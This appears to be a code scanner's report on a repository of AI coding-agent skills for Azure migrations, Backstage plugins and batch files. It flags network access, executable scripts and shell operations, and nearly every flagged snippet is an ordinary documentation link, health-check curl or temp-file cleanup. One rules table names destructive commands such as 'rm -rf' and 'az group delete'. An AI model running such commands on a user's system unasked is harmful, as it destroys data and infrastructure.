- [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)
harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md
- Network accessline 3
Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is
harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md
- Network accessline 3
OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.
harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 25
- **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions)) - Network accessline 84
For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.
harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 25
- **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions)) - Network accessline 85
For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk
harness/claude-code/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md
- Network accessline 39
If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom. - Network accessline 57
> 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom` - Network accessline 58
> `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
harness/claude-code/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md
- Network accessline 16
Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess
harness/claude-code/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md
- Access to secretsline 61
[Credential-related source omitted]
harness/claude-code/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 44
ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 45
BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 46
POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 80
def _get_latest_bom_version() -> str: try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 81
try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: pom_xml = response.read() - Network accessline 82
with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 167
except ET.ParseError: return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 168
return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns): - Network accessline 169
ns = {"m": "http://maven.apache.org/POM/4.0.0"}
harness/claude-code/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md
- Network accessline 198
- **Fluent API Changes** - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth - Network accessline 199
- **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. --> - Network accessline 200
- **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.
harness/claude-code/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md
- Network accessline 111
- **Fluent API Changes** - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - Network accessline 112
- **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - **Files Changed**: ResourceProvisioner.jav - Network accessline 113
- **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
harness/claude-code/skills/azure-upgrade/references/services/functions/automation.md
- Network accessline 4
> All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to - Network accessline 6
> **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 317
- [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops) - Network accessline 318
- [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions) - Network accessline 357
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST") - Network accessline 374
# Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>" - Network accessline 375
curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
harness/claude-code/skills/azure-upgrade/references/services/functions/consumption-to-flex.md
- Network accessline 4
> **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/ - Network accessline 6
> **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 139
1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba - Network accessline 140
2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks - Network accessline 141
3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) - Network accessline 223
- [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan) - Network accessline 224
- [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to) - Network accessline 225
- [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only) - Network accessline 226
- [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC) - Network accessline 227
- [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)
harness/claude-code/skills/azure-upgrade/references/services/redis/redis-to-amr.md
- Network accessline 10
| Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s - Network accessline 11
|---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** — - Network accessline 12
| **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | - Network accessline 13
| **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr - Network accessline 48
- IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c - Network accessline 50
- **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur - Network accessline 60
- Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen - Network accessline 62
- **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache- - Network accessline 98
- AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill - Network accessline 99
- ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill - Network accessline 100
- Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/ - Network accessline 101
- ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers - Network accessline 102
- Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration
harness/claude-code/skills/azure-validate/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/claude-code/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-validate/references/recipes/scripts/validate-deployment.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-validate/references/recipes/terraform/README.md
- Network accessline 59
- Terraform: see https://developer.hashicorp.com/terraform/install
harness/claude-code/skills/azure-validate/references/recipes/terraform/errors.md
- Network accessline 28
site_config { cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 29
cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] } - Network accessline 30
allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 36
resource "azurerm_linux_web_app" "frontend" { app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 37
app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" } - Network accessline 38
API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 64
> ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti
harness/claude-code/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1
- Executable scriptline 1
Executable file - Network accessline 50
Add-Result "Terraform installed" "PASS" } else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
} else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" } - Network accessline 52
Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
harness/claude-code/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 50
record "Terraform installed" "PASS" else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi - Network accessline 52
record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Dangerous shell operationline 102
rm -f "$tmp"
harness/claude-code/skills/azure-validate/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 53
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-validate/references/scripts/workflow.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-validate/references/scripts/workflow.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-well-architected-review/SKILL.md
- Network accessline 29
### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 30
Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`) - Network accessline 31
- `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 32
- Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
harness/claude-code/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/claude-code/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/claude-code/skills/batch-files/references/batch-files-and-functions.md
- Network accessline 212
- **Get Default Browser** — Manual: `START ms-settings:defaultapps`. Programmatic: read `HKCU\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice\ProgID` via `REG QUERY`, returns a value like `FirefoxHTML-308046B0A - Network accessline 213
- **Auto-Download Prompt** — Check if a third-party tool exists: `TOOL /? >NUL 2>&1` then `IF ERRORLEVEL 1` means missing. If tool returns non-zero on `/?`, use `(TOOL /? 2>&1) | FIND /I "copyright" >NUL` to detect its output. Prompt user: - Network accessline 214
- **E-mail from Batch** — `START mailto:user@example.com?subject=Hello%%20World^&body=Message%%20text`. Escaping: spaces=`%%20`, CR/LF=`%%0D%%0A`, ampersands escaped with caret (`^&`), double `%%` for batch. Length limited to max command li - Network accessline 215
- **FTP Scripting** — `FTP -s:scriptfile hostname` for unattended transfers. Script file contains: `USER username`, password (next line), `cd path`, `binary`, `prompt n`, `mget *.*` (or `mput`). Security: create script on-the-fly with `ECHO
harness/claude-code/skills/batch-files/references/cygwin.md
harness/claude-code/skills/batch-files/references/msys2.md
- Network accessline 7
- [Getting Started](https://www.msys2.org/) - Network accessline 8
- [What is MSYS2?](https://www.msys2.org/docs/what-is-msys2/) - Network accessline 9
- [Who Is Using MSYS2?](https://www.msys2.org/docs/who-is-using-msys2/) - Network accessline 10
- [MSYS2 Installer](https://www.msys2.org/docs/installer/) - Network accessline 11
- [News](https://www.msys2.org/news/) - Network accessline 12
- [FAQ](https://www.msys2.org/docs/faq/) - Network accessline 13
- [Supported Windows Versions and Hardware](https://www.msys2.org/docs/windows_support/) - Network accessline 14
- [ARM64 Support](https://www.msys2.org/docs/arm64/) - Network accessline 20
- [Environments Overview](https://www.msys2.org/docs/environments/) - Network accessline 21
- [GCC vs LLVM/Clang](https://www.msys2.org/docs/environments/#gcc-vs-llvmclang) - Network accessline 22
- [MSVCRT vs UCRT](https://www.msys2.org/docs/environments/#msvcrt-vs-ucrt) - Network accessline 23
- [Changelog](https://www.msys2.org/docs/environments/#changelog) - Network accessline 35
- [Updating MSYS2](https://www.msys2.org/docs/updating/) - Network accessline 36
- [Filesystem Paths](https://www.msys2.org/docs/filesystem-paths/) - Network accessline 37
- [Symlinks](https://www.msys2.org/docs/symlinks/) - Network accessline 38
- [Configuration Locations](https://www.msys2.org/docs/configuration/) - Network accessline 39
- [Terminals](https://www.msys2.org/docs/terminals/) - Network accessline 40
- [IDEs and Text Editors](https://www.msys2.org/docs/ides-editors/) - Network accessline 41
- [Just-in-time Debugging](https://www.msys2.org/docs/jit-debugging/) - Network accessline 45
- [Package Management](https://www.msys2.org/docs/package-management/) - Network accessline 46
- [Package Naming](https://www.msys2.org/docs/package-naming/) - Network accessline 47
- [Package Index](https://packages.msys2.org/) - Network accessline 48
- [Repositories and Mirrors](https://www.msys2.org/docs/repos-mirrors/) - Network accessline 49
- [Package Mirrors](https://www.msys2.org/docs/mirrors/) - Network accessline 50
- [Tips and Tricks](https://www.msys2.org/docs/package-management-tips/) - Network accessline 51
- [FAQ](https://www.msys2.org/docs/package-management-faq/) - Network accessline 52
- [pacman](https://www.msys2.org/docs/pacman/) - Network accessline 56
- [Using CMake in MSYS2](https://www.msys2.org/docs/cmake/) - Network accessline 57
- [Autotools](https://www.msys2.org/docs/autotools/) - Network accessline 58
- [Python](https://www.msys2.org/docs/python/) - Network accessline 59
- [Git](https://www.msys2.org/docs/git/) - Network accessline 60
- [C/C++](https://www.msys2.org/docs/c/) - Network accessline 61
- [C++](https://www.msys2.org/docs/cpp/) - Network accessline 62
- [pkg-config](https://www.msys2.org/docs/pkgconfig/) - Network accessline 63
- [Using MSYS2 in CI](https://www.msys2.org/docs/ci/) - Network accessline 67
- [Creating a new Package](https://www.msys2.org/dev/new-package/) - Network accessline 68
- [Updating an existing Package](https://www.msys2.org/dev/update-package/) - Network accessline 69
- [Package Guidelines](https://www.msys2.org/dev/package-guidelines/) - Network accessline 70
- [License Metadata](https://www.msys2.org/dev/package-licensing/) - Network accessline 71
- [PKGBUILD](https://www.msys2.org/dev/pkgbuild/) - Network accessline 72
- [Mirrors](https://www.msys2.org/dev/mirrors/) - Network accessline 73
- [MSYS2 Keyring](https://www.msys2.org/dev/keyring/) - Network accessline 74
- [Python](https://www.msys2.org/dev/python/) - Network accessline 75
- [Automated Build Process](https://www.msys2.org/dev/build-process/) - Network accessline 76
- [Vulnerability Reporting](https://www.msys2.org/dev/vulnerabilities/) - Network accessline 77
- [Accounts and Ownership](https://www.msys2.org/dev/accounts/) - Network accessline 81
- [Welcome to the MSYS2 wiki](https://www.msys2.org/wiki/Home/) - Network accessline 82
- [How does MSYS2 differ from Cygwin?](https://www.msys2.org/wiki/How-does-MSYS2-differ-from-Cygwin/) - Network accessline 83
- [MSYS2-Introduction](https://www.msys2.org/wiki/MSYS2-introduction/) - Network accessline 84
- [MSYS2 History](https://www.msys2.org/wiki/History/) - Network accessline 85
- [Creating Packages](https://www.msys2.org/wiki/Creating-Packages/) - Network accessline 86
- [Distributing](https://www.msys2.org/wiki/Distributing/) - Network accessline 87
- [Launchers](https://www.msys2.org/wiki/Launchers/) - Network accessline 88
- [Porting](https://www.msys2.org/wiki/Porting/) - Network accessline 89
- [Re-installing MSYS2](https://www.msys2.org/wiki/MSYS2-reinstallation/) - Network accessline 90
- [Setting up SSHd](https://www.msys2.org/wiki/Setting-up-SSHd/) - Network accessline 91
- [Signing Packages](https://www.msys2.org/wiki/Signing-packages/) - Network accessline 92
- [Do you need Sudo?](https://www.msys2.org/wiki/Sudo/) - Network accessline 93
- [Terminals](https://www.msys2.org/wiki/Terminals/) - Network accessline 94
- [Qt Creator](https://www.msys2.org/wiki/GDB-qtcreator/) - Network accessline 95
- [TODO LIST](https://www.msys2.org/wiki/Devtopics/)
harness/claude-code/skills/batch-files/references/tools-and-resources.md
- Network accessline 5
- [Terminal, Command Line and console blog](https://devblogs.microsoft.com/commandline/) - Network accessline 6
- [Rob van der Woude.com](https://www.robvanderwoude.com/batchfiles.php) - Network accessline 7
- [Security Bulletins](https://msrc.microsoft.com/update-guide) - Network accessline 8
- [OpenCVE](https://app.opencve.io/cve/?q=vendor%3Amicrosoft+AND+cvss31%3E%3D9) - Network accessline 9
- [Old New Thing](https://devblogs.microsoft.com/oldnewthing/tag/tipssupport) - Network accessline 10
- [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/Home.aspx) - Network accessline 11
- [aka.ms Search](https://aka.ms/) - Network accessline 15
- [Windows versions](https://ss64.com/nt/ver.html) - Network accessline 16
- [RSAT](https://ss64.com/links/ps.html#kits) - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/do - Network accessline 17
- [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - [RSAT KBase](h - Network accessline 18
- [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - Network accessline 19
- [RSAT KBase](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit]( - Network accessline 20
- [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/m - Network accessline 21
- [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - Network accessline 22
- [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/microsoft-security-baselines/new--updated-security-tools/1631613) - Network accessline 23
- [Policy Analyzer Release notes](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - Network accessline 24
- [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/) - Network accessline 25
- [File Locksmith](https://learn.microsoft.com/windows/powertoys/file-locksmith) - Network accessline 26
- [Keyboard Manager](https://learn.microsoft.com/en-us/windows/powertoys/keyboard-manager) - Network accessline 27
- [PowerToys Releases (Github)](https://github.com/microsoft/PowerToys/releases) - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/do - Network accessline 28
- [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - [Local Administrator Password Solution (LAPS)](ht - Network accessline 29
- [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - Network accessline 30
- [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/download/details.aspx?id=46899) - Network accessline 31
- [LAPS howto](https://learn-powershell.net/2016/10/08/setting-up-local-administrator-password-solution-laps/) - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](ht - Network accessline 32
- [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - [Account Lockout and Management Tools](https://www.mi - Network accessline 33
- [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - Network accessline 34
- [Account Lockout and Management Tools](https://www.microsoft.com/download/details.aspx?id=18465) - Network accessline 35
- [Microsoft Security Compliance Toolkit 1.0](https://www.microsoft.com/download/details.aspx?id=55319) - Network accessline 36
- [How to disable SMB 1 (or 2/3 for testing)](https://learn.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3) - Network accessline 37
- [File, Folder and Share Permission Utility Tool](https://web.archive.org/web/20200318052717/https://gallery.technet.microsoft.com/scriptcenter/File-Folder-and-Share-f788312b) - Network accessline 38
- [File Checksum Integrity Verifier](https://web.archive.org/web/20150302180951/https://support.microsoft.com/kb/841290) - Network accessline 39
- [CERTUTIL](https://ss64.com/nt/certutil.html) - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?i - Network accessline 40
- [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - [Object Settings spreadsheet 2003/200 - Network accessline 41
- [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - Network accessline 42
- [Object Settings spreadsheet 2003/2008/2008R2/Win7](https://www.microsoft.com/download/details.aspx?id=25250) - Network accessline 43
- [Microsoft PowerToys (Github)](https://github.com/Microsoft/PowerToys) - Network accessline 44
- [Windows 11 ISO](https://www.microsoft.com/en-us/software-download/windows11) - Network accessline 48
- [Windows 11 Installation Assistant](https://www.microsoft.com/software-download/windows11) - Network accessline 49
- [Install Windows 11 Without a Microsoft Account](https://www.tomshardware.com/how-to/install-windows-11-without-microsoft-account) - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - [Windows ADK 24H2]( - Network accessline 50
